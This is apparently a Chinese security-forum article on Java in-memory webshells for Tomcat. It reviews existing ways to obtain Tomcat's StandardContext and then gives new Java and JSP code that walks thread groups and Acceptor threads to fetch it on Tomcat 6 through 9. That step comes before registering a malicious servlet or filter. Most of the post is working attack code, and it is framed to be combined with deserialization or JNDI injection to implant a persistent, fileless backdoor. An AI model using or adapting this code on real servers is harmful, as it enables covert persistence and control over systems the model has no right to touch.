0 前言

​ 目前Java内存马的全流程已经有完善的解决方案了:

  • 第一步,获取当前请求的HttpRequest对象或tomcat的StandardContext对象(Weblogic下是ServletContext对象),SpringMVC和SpringBoot下注入controller和interceptor则是获取到WebApplicationContext对象。
  • 第二步,创建servlet、filter或controller等恶意对象
  • 第三步,使用各类context对象的各种方法,向中间件或框架动态添加servlet、filter或controller等恶意对象,完成内存马的注入

​ 向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

​ 在Tomcat的第一步中,可以先获取HttpRequest对象,再通过该对象的getServletContext方法获取servletContext对象,并一步一步获取到StandardContext对象。也可以直接获取StandardContext进行后面的操作。因为各类中间件和框架的获取context的方法不一样,所以本文先对目前Tomcat已经有的实现方案做一个总结,再展开讲一种新的获取方法

1 当前获取context方法总结

1.1 已有request对象的情况

​ 前面提到过,从request对象可以获取servletContext再一步一步获取standardContext。例如可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可

javax.servlet.ServletContext servletContext = request.getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");  // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  //从servletContext中获取context属性->applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 获取属性
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext

1.2 没有request对象的情况

​ 这时可以分为两种路线,第一种时获取request对象;第二种是直接从线程中获取standardContext对象。

1.2.1 从ContextClassLoader获取

​ 由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,代码如下:

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);

​ 这种做法的限制在于只可用于Tomcat 8 9

1.2.2 从ThreadLocal获取request

​ 这个方法来自于threedr3am师傅的文章,详细过程就不展开了,看文章即可。获取request之后,就可以获得StandardContext了,这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用

1.2.3 从MBean中获取

​ Tomcat 使用 JMX MBean 来实现自身的性能管理。而我们可以从jmxMBeanServer对象,在其field中一步一步找到StandardContext对象。具体实现过程和代码,可见这篇文章,这种方法可以兼容Tomcat789,但有个很大的局限性在于,必须猜中项目名和host,才能获取到对应的standardContext对象。

1.2.4 从Spring获取Context

​ 这里的context是spring中的运行时上下文,并非tomcat的StandardContext对象。所以这个context是注入SpringMVC 和SpringBoot框架下的controller和intercepter才能用的。具体实现方法和代码,可以看这篇文章

2 Tomcat 6789全版本的StandardContext获取方法

2.1 引入

​ 前面提到的方法以及能解决Tomcat 789版本下的StandardContext获取,但Tomcat 6还没有解决方案。最近在看Shiro反序列化的时候,在xray技术博客上看到这样一篇文章,zema1师傅通过遍历Thread.currentThread().getThreadGroup()得到的线程数组,找到其中的request和response,实现了Tomcat 6789全版本的回显,并且还公开了思路和代码(见其中的createTemplatesImplEcho方法)。我一想,既然拿到了request,这岂不是能拿来做Tomcat全版本的StandardContext获取。

​ 先来看看获取request的大致流程,这里直接copy了一下

currentThread -> threadGroup ->
  for(threads) -> target -> this$0 -> handler -> global -> 
      for(processors) -> req

​ 照着思路和代码一通写加调试,发现不对劲了

​ 正当我开心的拿到request对象,使用request.getServletContext()的时候,直接给我报错了,好家伙,看了一下这里获取的request对象的类名,在到源代码核对了一下,org.apache.coyote.Reuqest根本没有servletContext属性,并且也没有getParamters方法,只能获取header。

2.2 StandardEngine

​ 正以为白忙活的时候,在线程数组里面,看到了一个名字为StandardEngine的线程,这不是送到嘴边了嘛。

​ 在Tomcat里,一个Engine可以配置多个虚拟主机,也就是Host,每个Host有一个域名。一个Host下面又可以配置多个webapp,也就是tomcat/webapps目录下的多个webapp,而每个webapp可以表示为一个StandardContext,用来控制这个webapp。当然,一个Host可以就可以有多个StandardContext。直接从调试界面看看就更容易理解了

截图里的Engine、Host、Context使用toString方法得到如下结果

Engine: StandardEngine[Catalina]

Host: StandardEngine[Catalina].StandardHost[localhost]

StandardContext1: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/spring_mvc]

StandardContext2: StandardEngine[Catalina].StandardHost[localhost].StandardContext[/manager]

这样一来,就很容易理解这几个对象的关系了。现在来正式写代码获取我们需要的StandardContext对象,在上面的图里可以看到,Host需要用域名从HashMap中获取,而我们当前的StandardContext需要用webapp的名字获取,调试模式下当然知道叫啥,但换到目标网站的时候,显然不可能用猜的。这里又联想到2.1中获取的request对象,看一下里面的Field,或许可以找到一些信息:

这叫什么?刚想睡觉,就有人把枕头递过来了:)那就先获取requet对象,拿到serverName和uri,从对应的HashMap中获取StandardContext。代码如下:

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import org.apache.catalina.core.StandardHost;
import org.apache.catalina.core.StandardContext;
public class Tomcat678 {
    String uri;
    String serverName;
    StandardContext standardContext;
    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException | IllegalAccessException e) {
                // field不存在,错误不抛出,测试时可以抛出
                 }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Tomcat678() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                // 不是对应的请求时,serverPort = -1
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null){
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null){
                    this.serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null){
                    this.uri = uriMB.toString();
                }
                if (this.uri == null){
                    this.uri = uriMB.getString();
                }

                this.getStandardContext();
                return;
            }
        }
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            // 过滤掉不相关的线程
            if (!thread.getName().contains("StandardEngine")) {
                continue;
            }

            Object target = this.getField(thread, "target");
            if (target == null) { continue; }
            HashMap children;

            try {
                children = (HashMap) getField(getField(target, "this$0"), "children");
                StandardHost standardHost = (StandardHost) children.get(this.serverName);
                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))){continue;}
                    // /spring_mvc/home/index startsWith /spring_mvc
                    StandardContext standardContext = (StandardContext) children.get(contextKey);
                    this.standardContext = standardContext;
                    System.out.println(this.standardContext);
                    // 添加内存马
                    return;
                }
            } catch (Exception e) {
                continue;
            }
            if (children == null) {
                continue;
            }
        }
    }
}

测试的时候,把代码改造成jsp文件,放到不同Tomcat版本下测试即可。很可惜,这个方法只兼容Tomcat 678,在Tomcat 9中,线程数组里面没有StandardEngine这个线程了

2.3 Acceptor

没有了StandardEngine,那Tomcat就不开一个线程来接收http请求吗。在线程数组中继续寻找,发现每个Tomcat版本下,都会开一个Http-xio-端口-Acceptor的线程,Acceptor是用来接收请求的,这些请求自然会交给后面的Engine->Host->Context->servlet,关系图如下

顺藤摸瓜,从Acceptor一步一步找到了StandardEngine,后面获取StandardContext的流程和2.2中一样

经过测试,图中的获取流程在Tomcat 678可用的,而Tomcat9只需要将this$0替换成endpoint,container替换成engine。所以可用做到tomcat 6789全版本兼容,大致的流程如下

tomcat678 currentThread -> threadGroup -> for(threads) ->target
    ->this$0->handler->proto->adapter->connector->service->container
        ->children(一个HashMap,get获取standardHost)->standardHost->children(一个HashMap,get获取standardContext)

tomcat9 target->*endpoint*->handler->proto->adapter->connector->service-> *engine*

JSP代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>

<%
class Tomcat6789 {
    String uri;
    String serverName;
    StandardContext standardContext;
    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Tomcat6789() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null){
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null){
                    this.serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null){
                    this.uri = uriMB.toString();
                }
                if (this.uri == null){
                    this.uri = uriMB.getString();
                }

                this.getStandardContext();
                return;
            }
        }
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = this.getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){ return; }
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(this.serverName);

                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))){continue;}
                    StandardContext standardContext = (StandardContext) children.get(contextKey);
                    this.standardContext = standardContext;
                    return;
                }
            }
        }
    }

    public StandardContext getSTC(){
        return this.standardContext;
    }
}
%>

<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>

​ 这里就直接给出jsp代码,同时去除了代码注释避免报错,方便师傅们测试。另外,在Tomcat下还有一个Poller线程,它和Acceptor一起负责接收请求,在Poller线程中同样可用找到StandardEngine,流程和Acceptor是一样的,就不重复写了。

​ 如果使用反序列化或者JNDI注入向Tomcat植入内存马,可用找到的代码比较多,本文的方法可用放在前面作为获取StandardContext的部分,后面向Tomcat添加内存马的部分就不重复造轮子了。

3 参考链接

Tomcat Acceptor/Poller

Java安全之基于Tomcat实现内存马

Shiro RememberMe 漏洞检测的探索之路

https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java

点击收藏 | 5 关注 | 2
登录 后跟帖